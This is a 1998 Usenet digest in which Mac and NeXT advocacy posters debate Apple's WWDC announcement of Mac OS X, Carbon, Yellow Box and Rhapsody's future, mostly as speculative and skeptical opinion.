>
>
There is no MacOS X.
I think clarity is a function of history. Rhapsody broke their balls, namely
Blue Box. Now they are wingin' it on a another excellent OS adventure. None
of this MacOS X exists, yet. Don't be confused by a Demo of the Carbon API's
on OPENSTEP cum Rhapsody. Running those API's with all of OPENSTEP's features
in a Mac operating system is a "whole new" reality. A reality that History
reads as a failure. So why has Jobs decided he could succeed where other
efforts before him have failed? The stakes for Apple have been raised beyond
anyone's imagination. Rhaposdy was acceptable. It was doable. MacOS X?
There is no MacOS X. It hasn't been written. There are only some example
Carbon API's running on BSD flavored OS. There is no MAC flavored OS for
Carbon API's. There is no terminology to be clear on... they're making it up
as they go along.
Cross platform? There is no MacOS X. It doesn't exist. Steve Jobs is clear
that MacOS X is a "goal" to be achieved. IF they get there, only then can they
evaluate the sacrifices along the way. They most certainly have their work
cutout for them just getting this MacOS X written and running on PPC. There
are no assurances that a MacOS effort will successfully deliver on all the
strengths of Unix. You don't achieve the robustness of an operating system
like Unix, 30+ years in the making in 12 mos.
-r
-r
From: float@interport.net
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Followup-To: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 12 May 1998 11:18:11 -0400
Organization: Interport Communications Corp.
Message-ID: <6j9p7j$j4q$1@interport.net>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3>
Eric King (rex@smallandmighty.com) wrote:
: In article <35573831.69E8CDC6@milestonerdl.com>, mark@milestonerdl.com wrote:
: :Shhhhh. Unix will be the underpinning. We'll just remove the command line,
: :grep-sed-awk-vi, and CALL it MacOS X. No one will know the difference.
: One could argue that if you take those things away, that you don't
: really have 'unix' anymore.
POSIX would seem to agree.
--
Ben
<Just Another System Administrator>
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 12 May 1998 09:28:55 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35585CA7.CA000CA8@milestonerdl.com>
References: <nagleEsto5z.E8C@netcom.com> <B17DDD1E-2634C@209.109.225.96>
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Benjamin Smith wrote:
> Rhapsody wasn't getting developers.
Could there be ANY tie in between Apple NOT getting developers, and the way
Apple has treated them in the past?
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 12 May 1998 15:22:43 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6lgqa3.l2e.sal@panix3.panix.com>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3> <355747DE.B4BF976B@milestonerdl.com> <ufemy0gz3l.fsf@ftp.ardi.com> <see-below-1105981931110001@209.24.240.244> <35583135.7CE2CEC9@milestonerdl.com>
On Tue, 12 May 1998 06:23:33 -0500, M Rassbach <mark@milestonerdl.com> wrote:
>Apple needs to decide if
>it's a hardware or a software company. If Apple tries using its software to
>protect its hardware, it will continue to 'loose'.
Apple is NOT a software company.
Apple is NOT a hardware company.
Apple is a SYSTEM company. Macintosh is a *SYSTEM* made up of custom hardware
and custom software.
Apple has been a SYSTEM company from day one.
Apple ][ was a SYSTEM, made up of custom hardware and software.
Other system companies you might want to compare Apple to:
Sun, SGI, IBM (AIX, AS/400. ES and dozens of others), Dec (VAX, Alpha, ultrix),
HP (HPPA with HP/UX) and 3Com/Palm
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.next.programmer
Subject: WWDC: Rhapsody BoF
Date: 12 May 1998 15:09:02 GMT
Organization: P & L Systems
Message-ID: <6j9ome$1cc$10@ironhorse.plsys.co.uk>
Mime-Version: 1.0
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There will be a Rhapsody BoF (*) meeting on Wednesday evening in room J2,
inside the conference centre, organised (if I understand correctly) by Ernie
Prabhakar (Rhapsody Product Marketing Manager), Jordan Dea-Mattson (of Apple
whom you should all know from his contributions to the lists), and Paul Lynch
(P & L Systems' MD).
Watch out for more details later and at the show.
Best wishes,
mmalc.
P & L Systems -- developers of Mesa
http://www.plsys.co.uk/plsys/
Tel: +44 1494 432422
Fax: +44 1494 432478
(* Birds of a Feather)
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 12 May 1998 09:43:47 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35586023.305658D1@milestonerdl.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2>
<ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com>
Mime-Version: 1.0
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Rex Riley wrote:
> In <3557A1DE.17A6@earthlink.net> Steve Kellener wrote:
> > This to me sounds the most logical and clear definition of what they
> > were trying to put forth. I wish they would just be more clear about
> > the terminology. I didn't hear anything about the cross platform
> > abilities but I would bet all that will continue. It already exists.
> >
> > Let me know what you think.
> >
> >
> There is no MacOS X.
>
> I think clarity is a function of history. Rhapsody broke their balls, namely
> Blue Box. Now they are wingin' it on a another excellent OS adventure. None
> of this MacOS X exists, yet. Don't be confused by a Demo of the Carbon API's
> on OPENSTEP cum Rhapsody. Running those API's with all of OPENSTEP's features
> in a Mac operating system is a "whole new" reality. A reality that History
> reads as a failure. So why has Jobs decided he could succeed where other
> efforts before him have failed? The stakes for Apple have been raised beyond
> anyone's imagination. Rhaposdy was acceptable. It was doable. MacOS X?
>
> There is no MacOS X. It hasn't been written. There are only some example
> Carbon API's running on BSD flavored OS. There is no MAC flavored OS for
> Carbon API's. There is no terminology to be clear on... they're making it up
> as they go along.
>
> Cross platform? There is no MacOS X. It doesn't exist. Steve Jobs is clear
> that MacOS X is a "goal" to be achieved. IF they get there, only then can they
> evaluate the sacrifices along the way. They most certainly have their work
> cutout for them just getting this MacOS X written and running on PPC. There
> are no assurances that a MacOS effort will successfully deliver on all the
> strengths of Unix. You don't achieve the robustness of an operating system
> like Unix, 30+ years in the making in 12 mos.
Yup. That's why I'm believing the 'spin' that MacOS X is really OpenSTEP with
some MacOS glued on, and renamed MacOS X.
But.....where is Rhapsody for Intel and YellowBox everywere? Prehaps Carbon will
be run everywere gambit....but somehow I'm doubting that. Carbon would give Apple
CPU independance, *IF* they code it that way.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X: it's all over
Date: 12 May 1998 15:09:34 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6lgphe.l2e.sal@panix3.panix.com>
References: <6j8fet$k2n$1@walter.cs.umd.edu> <slrn6lfj6b.l9u.sal@panix3.panix.com> <6j8k7c$e5$1@crib.bevc.blacksburg.va.us>
On 12 May 1998 00:46:36 -0400, Nathan Urban <nurban@crib.bevc.blacksburg.va.us> wrote:
>In article <slrn6lfj6b.l9u.sal@panix3.panix.com>, sal@panix3.panix.com (Salvatore Denaro) wrote:
>> On 12 May 1998 03:25:17 GMT, Sean Luke <seanl@cs.umd.edu> wrote:
>> >- Rhapsody will be "superceded" by MacOS X. Not complemented by.
>> But MacOS X uses Rhapsody's Mach+BSD4.4 foundation and Dev tools.
>The "BSD4.4" part is not yet clear. I'm anxiously waiting to hear
>about that.
Mach is not an OS, and Mach is not enough to host YellowBox or even
Carbon. And I doubt they could move from BSD->MacOSish OS in a year.
Steve Jobs said that MacOSX would have PMT and PM, both are lacking in
MacOS.
>> >- MacOS X will have a "subset" of the Yellow Box APIS
>> Where did *anything* say that? Check out http://www.stepwise.com/ and read
>> Scotts WWDC notes on the topic. MacOS X will have *full* YB frameworks
>> along with the Carbon frameworks and the Java frameworks.
>He was referring to, "The new system will combine Mac APIs
>with Rhapsody's Mach kernel and selected Yellow and Blue
>box capabilities," with note to "selected", a quote from
>http://www.zdnet.com/macweek/mw_1219/nw_wwdcexec.html.
Huh? How? Wouldn't it take more effort to remove stuff from YB than to
just leave it as is? I'll wait for more info on this.
>> >- MacOS X will use QuickDraw as its drawing language (hence the "subset")
>> Huh? Where did it say that DPS is being replaced?
>Same article. This appears to be uncontestable. :( (But it doesn't
>mean that Yellow won't use DPS -- it probably does a Windows/Yellow-style
>approach -- just that the native imager is QuickDraw.)
I think QD will use DPS as the base imager, or QD will use DPS's interceptor.
Since the "core" is Rhapsody (it says so in the article you quoted) it would
make more sense.
>Well, given the "DPS is being removed thing", that would follow. But I
>don't think it is.
I am not convinced that DPS is being removed. We should know more by the
end of this week.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: "Benjamin Smith" <benjs@ix.netcom.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 12 May 98 11:03:53 -0400
Organization: Netcom
Message-ID: <B17DDD1E-2634C@209.109.225.96>
References: <nagleEsto5z.E8C@netcom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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nntp://nntp.ix.netcom.com/comp.sys.mac.advocacy,
nntp://nntp.ix.netcom.com/comp.sys.next.advocacy
On Mon, May 11, 1998 10:27 PM, John Nagle <mailto:nagle@netcom.com> wrote:
>>
>
> Sigh. This is yet another Apple announcement of the form
>"In a year or two, the OS API will be substantially different. But
>right now, the new version isn't available".
>
> We've heard this before:
>
> Workplace OS
> Pink
> Taligent
> Bedrock
> Copland
> Rhapsody
>
>I think the appropriate developer reaction is "when you ship this new OS
>to customers, let us know, and we'll consider porting our product."
>
You have to wonder. Can Apple do an OS with the buzzwords? Things keep
changing. We've heard this before is right. Well, they say within one year,
or 18 months the thing will be out. But we've heard that before also.
I don't think we'll see Mac OS X next year, just another spin job, more
promises.
Rhapsody wasn't getting developers. That's why there is the switch because
it seems Rhapsody was able to run MacOS apps in its blue box quite well.
Ben S.
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 12 May 1998 11:12:57 -0400
Organization: Interport Communications Corp.
Message-ID: <6j9otp$itf$1@interport.net>
References: <6io74v$cuc$1@crib.bevc.blacksburg.va.us> <B175052E-165DC1@206.165.43.143> <slrn6l1bvd.ftg.mbkennel@lyapunov.ucsd.edu> <3550B486.607B@CONVEX.COM>
Michael Peck (MJPECK@CONVEX.COM) wrote:
: SysReq and Scroll Lock are anachronisms
Scroll Lock can come in awful handy when you haven't gotten X11 up yet,
though.
--
Ben
<Just Another System Administrator>
Message-ID: <35586F01.243A7BE3@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
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Date: Tue, 12 May 1998 15:44:05 GMT
NNTP-Posting-Date: Tue, 12 May 1998 11:44:05 EDT
Pulsar wrote:
>
> You're overreacting! There are still things that are unclear! Making
> definitive judgements based on this evidence is only going to get you
> angry. The MacWeek article you point out doesn't agree entirely with other
> accounts of the speech (particularly with regards to hardware support). You
> seem to be misinterpretting what was said and seem to have missed some
> things.
I think Eric hit the nail on the head.
>
> Rhapsody 1.0 is due for release in Q3 '98. That implies later this summer
> or early fall. This was in the speech.
But obviously, Apple isn't planning too terribly much for Rhapsody, is
it? That's fairly obvious. This is just PR work by Jobs done in advance
to stem (he hopes) the huge disappointment the released Rhapsody will
be. By diverting attention to the NeXT Great Thing post Rhapsody, Jobs
hopes to minimize the bad PR the company will get by the actual Rhapsody
release later this year, which will be incomplete, buggy, and a let
down. This is Jobs resorting to Apple's tried and True formula of
"Promise 'em anything, but always give 'em the NeXT Great Thing." This
is damage control, pure and simple. In other quarters it's called "bait
& switch." Some Apple fans seem to have an absolutely ravenous and
unquenchable appetite for this approach. I wonder how well it will work
this time.
>
> Mac OS X will include the Yellow Box API in addition to the "Carbon" API.
> It will likely also come with the Blue Box to support older Mac OS apps.
> Basically, this means that old Mac OS apps, Yellow Box apps, and Carbon
> apps will run on Mac OS X. In the mean time, there will be Allegro (and an
> update to this), Sonata, and Rhapsody.
If Jobs was as optimistic as you are about all of these interim, baby
steps, why bother to announce "Mac OS 10" at this early stage, almost
two years before its release? Nope--this is Apple's same old same old.
>
> That's what macweek says. Apple's press release says that it "will be fully
> optimized for Apple's PowerPC G3 based computers." That does not preclude
> support for all other PowerMacs. Most of the other accounts of the speech
> say the same thing or they make no mention of it. It's only your MacWeek
> article that says 'only G3 PowerMacs'. This is unclear as of yet. Don't
> make any hasty judgements on this. Wait until a little more information
> becomes available.
Frankly, you should remember that Mac OS X (10) is at least 18 months
out. If Jobs is betting on G3 exclusivity at that time, it would be in
character for him and not surprising. Why would that surprise you? Ever
since OS8, Jobs has been moving the Mac OS away from hardware backwards
compatibility. You need to remember that unlike M$, Apple sells hardware
and that hardware is *the* major part of Apple's revenue stream.
>
> Rhapsody is supposed to ship Q3 '98 according to the keynote address.
> Rhapsody will ship! The Yellow Box will be present in Mac OS X too!
Obviously, Apple is predicting it won't meet users' expectations, hence
this pre-announcement to hopefully deflect attention away from Rhapsody
and towards an OS about two years out which has barely left the drawing
board. Isn't that obvious?
>
> Mac OS X just provides a way for developers of Mac OS software not to have
> to entirely rewrite their programs to get PM/PMT/VM/etc. For those writing
> new programs and for those who are going to rewrite their programs anyway,
> the Yellow Box will be the best solution.
Unfortunately, Mac OS X is likely to provide little or nothing to Mac
developers for about a year (that they can use.)
>
> For those who weren't going to make the investment required for an entire
> rewrite anyway, there is the Carbon API which will allow them to quickly
> modify their current Mac OS apps to be able to take advantage of
> PM/PMT/VM/etc.
That's the PR spiel, of course. Right now, as Apple is largely a "PR"
company, what else is new?
>
> Let's not be too hasty there. Things may in fact be bad. Perhaps Apple will
> drop the Yellow Box and Rhapsody and all that, but you can't conclude that
> just based on today's news.
>
Oh, come on. Ever since day one of Apple's NeXT acquisition and the
formulation of Rhapsody, Jobs has been backpedaling seriously. He's been
very vocal about the importance of the "crown jewel" Mac OS and
relatively silent on Rhapsody. Even now that Jobs says openly that Mac
OS 10 is far more important to the company than Rhapsody, some Mac users
continue to substitute their own person preferences for what Jobs
actually says. Go figure.
How much clearer can it be? Jobs propensity to hype is only exceeded by
the company's failure to deliver what it *promises.*
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 12 May 1998 12:18:30 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-1205981218300001@rklein.psychology.dal.ca>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net>
In article <3557A1DE.17A6@earthlink.net>, skellener@earthlink.net wrote:
> I think everybody is confusing things here. Here's what I see from the
> outlined plan.
>
> The Blue Box = "Carbon". These are all the regular Mac API's that
> everyone still uses. Carbon is not a new item, just a new name. Blue
> Box was only a temp name.
That isn't it.
The Blue Box is there and works exactly the same as it always has.
They Yellow Box is there and works too.
However, if you have a Mac app, and don't want to entirely rewrite for
Yellow Box, but you do want take advantage of the new features in the core
of Rhapsody then you can make the baby step of porting to Carbon.
We get everything we had before WWDC in terms of what Rhapsody was
planned for (on G3 PPC anyway, what happened to X platform & older
hardware?). But, in addition, current apps can be easily upgraded to work
with the new OSes features.
MacOS X = Rhapsody (BlueBox, Yellow Box) + most MacOS APIs native
Does anyone really think jobs would entirely adandon OpenStep?
Probably right after he resigns from Pixar.
I think we will have the same powerful OS we thought we were going to
get last week. However, now Adobe, MS, and Macromedia have committed to
it.
yay.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
Message-ID: <3558705D.978C32E@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <slrn6lf0cs.ck3.mbkennel@lyapunov.ucsd.edu> <macman-1105982047570001@tr33-d21.msen.net>
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Date: Tue, 12 May 1998 15:49:34 GMT
NNTP-Posting-Date: Tue, 12 May 1998 11:49:34 EDT
Mac Man wrote:
>
> I don't think the main issue is with home/office users here. I think the
> big issue is with people who were really looking forward to developing on
> Rhapsody with it's "write once, run anywhere" abilities. Not to mention
> that if Apple kills Rhapsody for Intel, -a lot- of people are going to be
> seriously pissed.
>
Jobs has killed NeXT off. That's been so clear for so long. What will it
take to convince those who refuse to believe what they see and hear with
their own eyes?
Message-ID: <355870F1.958B696D@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <6j8brs$l3$1@news.idiom.com>
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Date: Tue, 12 May 1998 15:52:03 GMT
NNTP-Posting-Date: Tue, 12 May 1998 11:52:03 EDT
John C. Randolph wrote:
>
>
> Speaking as a NeXT hacker, I'm not worried about it.
>
As you won't see it for quite awhile, I wouldn't worry either. By that
time, it will be something else, anyway, so what's the point of worry?
From: float@interport.net
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Followup-To: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 12 May 1998 11:45:17 -0400
Organization: Interport Communications Corp.
Message-ID: <6j9qqd$l5s$1@interport.net>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3> <355747DE.B4BF976B@milestonerdl.com> <ufemy0gz3l.fsf@ftp.ardi.com> <3557A58F.41815B27@netscape.com>
Mike Pinkerton (pinkerton@netscape.com) wrote:
: So they port carbon to other platforms....did it once already (star trek), why
: is that so bad? Now we have an api everyone already knows (carbon) and it's on
: multiple platforms. Why yellowbox now?
I thought Carbon was only going to run on MacOS/PPC. What other platforms
is it being targetted for?
--
Ben
<Just Another System Administrator>
From: Rob Szarek <raszarek@yahoo.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 11:40:21 -0400
Organization: Yahoo Email Services
Message-ID: <35586D65.6F87@yahoo.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <stevenj-ya02408000R1105982034070001@news.mit.edu> <355752ce.469474@198.0.0.100>
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Nathan Hughes wrote:
> > Rhapsody IS
> >GOING TO SHIP.
>
> I used to listen to mac users say copland was going to ship. I even
> heard one or two say Exponential was going to ship. I'm just hearing
> another mac user now, lots of words which mean very little..
From Steve Jobs "sliding" timeline chart, I saw in his presentation that
his current "vision" for Rhapsody is Q3.99, for Release 1.0 for PPC but
I really wonder why they bother ?? Just goto to Mac OS X instead and
forget any Rhapsody release if Apple is worried about to many OS
options. The question that makes me wonder is: "What happens to the
Intel version of Rhapsody ?" The Coplandian trash can ?
>
> Besides that, wasn't Rhapsody supposed to ship this spring? That was
> the apple line last year.
Well, it did, but as developer release DR2, and that followed the Apple
line. The unified or release 1 was still slated for Q3.99 while the
"compatible blue box" release or whatever was supposed to be Q1.99.
> Mac owners have been bait_N_switched at least since copland. OS7.7,
> errr, 8 anyone?
More like poor management and poor planning. At least, someone did a
salvage of some useful stuff and got something out, if not to foil the
Mac cloners. But the same can be said for Win98 to WinNT lite or NT5 ?
Microsoft could have got the 16 bit code out of Win 9x sooner than they
did. Like Apple's 68x00 code they are transitioning as well and getting
income.
Message-ID: <3558718B.69675B8F@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com>
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Date: Tue, 12 May 1998 15:54:37 GMT
NNTP-Posting-Date: Tue, 12 May 1998 11:54:37 EDT
Ari wrote:
>
> > > In article <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>,
> > > pulsar@springnet1.com (Pulsar) wrote:
> > >
> > > > You're overreacting! There are still things that are unclear! Making
> > > > definitive judgements based on this evidence is only going to get you
> > > > angry.
>
> As far as I can tell, if Steve Jobs said the following (quoted from cnet), then
> rhapsody is *clearly* screwed. Why would adobe, macromedia, MS even bother writing
> for the yellow box now, they just have 10% more work to do for "carbon." Is this
> "ASDE" just for shareware writers, ex-openstep developers, and college hackers?
> Aren't there benefits to a completely object oriented environment?
>
What it is is "BS" for the Mac community--the more the better...:) Pile
it high and lay it on thick, that's what Jobs does best. It's just
surprsing that so many in the Mac community have such an appetite for
it...:) If no one was eating it, Jobs would not be serving up so much of
it...
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 12 May 1998 09:35:17 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35585E24.FF0731D6@milestonerdl.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <*johnnyc*-1205981218300001@rklein.psychology.dal.ca>
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John Christie wrote:
> Does anyone really think jobs would entirely adandon OpenStep?
Jobs said he was bringing back in the Newton group to market E-mates. Newton
was killed by him. Who KNOWS what Jobs and Apple is going to do? Apple has
'fooled' the developers b4.
Apple has 3 days to clarify the direction. And hopefully some of the noise
from the newsgroups will filter up to the transucent blue plastic towers at
WWDC, and there will be clarity.
> Probably right after he resigns from Pixar.
Hrmmmmm. That could happen. That company seems to be runnign fine without
him.....so is he needed? :-)
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: 12 May 1998 08:35:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17DBA51-CA75@206.165.43.129>
References: <6j9gam$1cc$8@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy
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>Lawson's pride and joy
>is QuickDraw GX which is emphatically not part of the Carbon API (due to
>lack
>of developer interest, it says in the paper) -- a rather distinct beastie
>from QuickDraw.
Actually, more to the point, it is not used by the top 100 developers, many
of whom have a vested interest in making sure that Apple does NOT have an
easy-to-use, universally available high-end graphics engine and
easily-edited graphics file format available because that makes it TOO easy
for a newcomer to steal their thunder (and hence, customers and revenue).
GX was an experiment that failed.
The fact that NeXT developers have a vested interest in seeing it fail also
(so that DPS can thrive) merely makes it worse.
Think about it guys: I CAN implement most of the features of PageMaker and
FreeHand using GX *and* some other GX-using application can edit any of
these features automatically. Most of the lens effects of FreeHand 8 appear
to be built into GX's API, which means that any such effect created using
GX could be modifed during the print process if need be.
What's so special about FreeHand or PageMaker when any ole developer's shop
can do that?
And don't think that GX's use is limited to low-end web-page development,
either. Creator2 uses GX graphics and typographical effects and it costs as
much as any other professional DTP package on the Mac, around $600 I
believe, even though they're just applying layers of GX layout shapes and
glyph shapes in order to get their effects (it's the human interface to GX
that is hard, not the graphics, remember).
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
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References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2>
<ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net>
<bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com>
Message-ID: <ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com>
Date: Tue, 12 May 1998 16:13:11 GMT
NNTP-Posting-Date: Tue, 12 May 1998 09:13:11 PDT
Organization: @Home Network
In <35586023.305658D1@milestonerdl.com> M Rassbach wrote:
>
>
> Rex Riley wrote:
> >There
> > are no assurances that a MacOS effort will successfully deliver on all the
> > strengths of Unix. You don't achieve the robustness of an operating
system
> > like Unix, 30+ years in the making in 12 mos.
>
> Yup. That's why I'm believing the 'spin' that MacOS X is really OpenSTEP
with
> some MacOS glued on, and renamed MacOS X.
>
That's a good starting place... Now think what you'd have to do to that Unix
code to host Macintoshish features.
> But.....where is Rhapsody for Intel and YellowBox everywere? Prehaps
Carbon will
> be run everywere gambit....but somehow I'm doubting that. Carbon would give
Apple
> CPU independance, *IF* they code it that way.
>
>
Now think of how "cross platform" that reworked Unix OS for Macish features is
going to be since the team is cutting it on PPC. Apple just went into the OS
business BIG TIME. Not only do they now support Unix but now a set of
extensions to "some brand" of unix which allows them to keep the Mac stuff
proprietary.
Now think "brittle"...
-r
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
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References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2>
<ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net>
<*johnnyc*-1205981218300001@rklein.psychology.dal.ca> <35585E24.FF0731D6@milestonerdl.com>
Message-ID: <RC_51.1922$sy4.3355491@news.rdc1.sdca.home.com>
Date: Tue, 12 May 1998 16:17:53 GMT
NNTP-Posting-Date: Tue, 12 May 1998 09:17:53 PDT
Organization: @Home Network
In <35585E24.FF0731D6@milestonerdl.com> M Rassbach wrote:
>
>
> John Christie wrote:
>
> > Does anyone really think jobs would entirely adandon OpenStep?
>
> Jobs said he was bringing back in the Newton group to market E-mates.
Newton
> was killed by him. Who KNOWS what Jobs and Apple is going to do? Apple has
> 'fooled' the developers b4.
>
>
He may have troubles with the licensing of BSD... Does adding Mac extensions
to the core BSD OS commit him to release the code into the public domain? I
think he would entirely abandon BSD but not OPENSTEP.
IF the shit hits the fan and MacOS X goals are unobtainable, Apple will still
have OPENSTEP or Rhapsody circa May1998, anyway.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 12 May 1998 10:29:29 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35586AD9.C2C2FFB0@milestonerdl.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2>
<ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net>
<bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com> <ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com>
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Rex Riley wrote:
> In <35586023.305658D1@milestonerdl.com> M Rassbach wrote:
> > Rex Riley wrote:
> > >There
> > > are no assurances that a MacOS effort will successfully deliver on all the
> > > strengths of Unix. You don't achieve the robustness of an operating
> system
> > > like Unix, 30+ years in the making in 12 mos.
> >
> > Yup. That's why I'm believing the 'spin' that MacOS X is really OpenSTEP
> with
> > some MacOS glued on, and renamed MacOS X.
> >
>
> That's a good starting place... Now think what you'd have to do to that Unix
> code to host Macintoshish features.
MAE. It worked...mostly
> > But.....where is Rhapsody for Intel and YellowBox everywere? Prehaps
> Carbon will
> > be run everywere gambit....but somehow I'm doubting that. Carbon would give
> Apple
> > CPU independance, *IF* they code it that way.
>
> Now think of how "cross platform" that reworked Unix OS for Macish features is
> going to be since the team is cutting it on PPC. Apple just went into the OS
> business BIG TIME. Not only do they now support Unix but now a set of
> extensions to "some brand" of unix which allows them to keep the Mac stuff
> proprietary.
>
> Now think "brittle"...
The BIGGEST strenght of YellowBox was it was based on shipping and WORKING product
of OpenSTEP.
I'm not seeing this strenght anymore, nor the cross-platform.
The course Apple laid out should get MacOS the help it needs....robbing parts of
Unix to improve MacOS.
But, I'd LOVE to see a comment on:
"YellowBox is the future of MacOS" vs this new, in flux Carbon thinggie.
From: Henry McGilton <henry@trilithon.com>
